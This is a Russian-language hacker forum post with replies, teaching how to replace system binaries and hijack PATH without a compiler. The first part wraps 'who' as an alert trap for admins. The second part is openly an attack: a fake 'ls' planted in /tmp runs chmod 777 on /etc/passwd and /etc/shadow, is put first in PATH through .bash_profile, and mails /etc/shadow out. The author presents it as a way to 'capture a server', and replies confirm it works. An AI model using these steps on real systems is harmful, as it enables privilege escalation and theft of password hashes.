Re Achat Бывает особо параноидальные админы удаляют с серваков компиляторы. Пытаемся установить гцц из рмп пакета... ааах облом он не работает -) Скомпиленные на других машинках сплоиты явно отказываются работать, ругаясь на сегоднящний дождь/жару и просто плохое настроение.. Что делать? вот и задумался.. пока не натолкнулся на одном из форумов на интерестную идейку, которая в принципе известна, но вот решил расписать ее поподробней.. Его может юзать как админ так и ты, c00l m3g4 h4x0r =) Итак приступим. Если брать в расчет админа, то ему провернуть все это намного легче, т.к. он уже "по условию задачи" обладает рутом ) Что проделываем хакер, проникая в систему? чаще всего юзает команды типа ls, last, who, id, which, uname и т.д. И основная задача админа в случае проникновения взломщика установить своеобразные ловушки на эти команды. Постойте, у нас же нет компилятора? Зато у нас есть руки =) Все можно проделать с помощью перля, питона или просто средстави нашых никсов. Возьмём к примеру who. Определим где она у нас находится следущим образом: Code: which who В ответ получаем что-то вроде /usr/bin/who Права на неё равны –rwxr-xr-x, что сопостовимо с 755. Переименовываем who например в who_new. Делаем это следующим образом: Code: mv /usr/bin/who /usr/bin/who_new Изменяем права на who_new на 755, чтобы он мог выполняться: Code: сhmod 755 /usr/bin/who_new Теперь чтобы выполнить who надо выполнить в консоли who_new (Главное не забудьте вернуть скопированному файлу права, а то ничего не будет работать). Теперь создаем некий клапан для who. Это будет одноименный файл в /usr/bin. Т.е. когда взломщик попытается выполнить who, то будет запускаться наш с вами файл. Для того чтобы записать в новый who нужные нам команды выполним последовательно Code: сat /usr/bin/who /usr/bin/who_new id | mail –n –s Your Base_Is_Under_Attack your@mail Жмём CTRL+D и ввод закончен, все записалось в /usr/bin/who Первая и вторая строчка надеюсь понятна, третья же отправляет тебе на почту то, что выдала команда id с заголовком Your Base_Is_Under_Attack -) Ключ -n передает заголовок письма, -s запретит просмотр /etc/mail.rc, чтобы хацкер ничего не заподозрил. Этим способом можно подменить любую исполняемую программу, главное запомнить что и как менял , а лучше записать на бумажке -)) ---------------------------------------- Да, все отлично - скажите вы.. А как быть, если права у тебя не root, а жалкие nobody или обычного юзера? Работа с исполняемыми файлами в основном в таком случае запрещена. Но у нас есть еще один инструмент в арсенале - переменная окружения PATH Поэксперементируем с ls Допустим у нас есть права на запись в /tmp. Тогда создадим следущий файл под названием ls. Запишем в него следущие строчки: Code: #! /bin/sh сhmod 777 /etc/passwd > /dev/null сhmod 777 /etc/shadow > /dev/null ехес /bin/ls “$@" Разберем, что же мы накатали. Во второй и третьей строчке содержатся команды изменения прав на файл юзеров и паролей + обнуление всех месаг, которые могут появиться на экране. В 4ой выполняется команда ls из /bin. Так как мы создали этот файл, то мы можем поставить любые права на него, ставим 777 Code: сhmod 777 /tmp/ls Наш файл готов. Осалось сделать так, чтобы он выполнялся вместо реальной ls. Ничего нет проще =) Для этого просто добавляем каталог /tmp в самое(!) начало системной переменной окружения PATH. Для этого всеголишь подправляем файлик .bash_profile, в строчке PATH=$PATH:/sbin:/usr/sbin/:/usr/local/sbin добавляем наш каталог. Итак теперь если у пользователя хватит прав на изменение прав (скорее всего у рута), то /etc/shadow и /etc/passwd откроются для всеобщего обозрения -) Можно вставить в нашу фэйковую ls что-то вроде cat /etc/shadow | mail your@mail (просто отсылает зашифровынные пароли на мыло). Вобщем тут можно делать все что хочешь) Единственное что может делать админ в этом случае - проверять переменную PATH, убрать ставящиеся по дефолту права,либо задавать полный путь до исполняемого фала, т.е. для просмотра содержимого каталога вводить каждый раз /bin/ls -lia.. Даже законченный параноик не будет этого делать... В статье мы научились захватывать сервак без использования палевных сплойтов, рушивших систему или просто не работающих =) Special For Achat (c) blackybr PS т.к. многим личностям оказалось непонятно, то поясняю.. для превого случаю нужен РУТ (т.к. по условию вы админ!) ДЛя второго нужен просто юзэр доступ!
Я думаю, нерезус имел в виду, что во втором коде используется не /usr/bin/who_new, а /usr/bin/system_who, ну и конечто как уже сказал bl4ck-cat mv, а не mw, но ведь никто от ошибок не застрахован.
1. mw - mv 2. mv /usr/bin/who /usr/bin/who_new просто переименует файл /usr/bin/who на /usr/bin/who_new.. т.е правильней было бы cp /usr/bin/who /usr/bin/who_new.
Рут нужен только для первго случая, а для изменения переменной path нужен гостевой дочтуп (иногда и нободи сойдёт) . Проверено и не один раз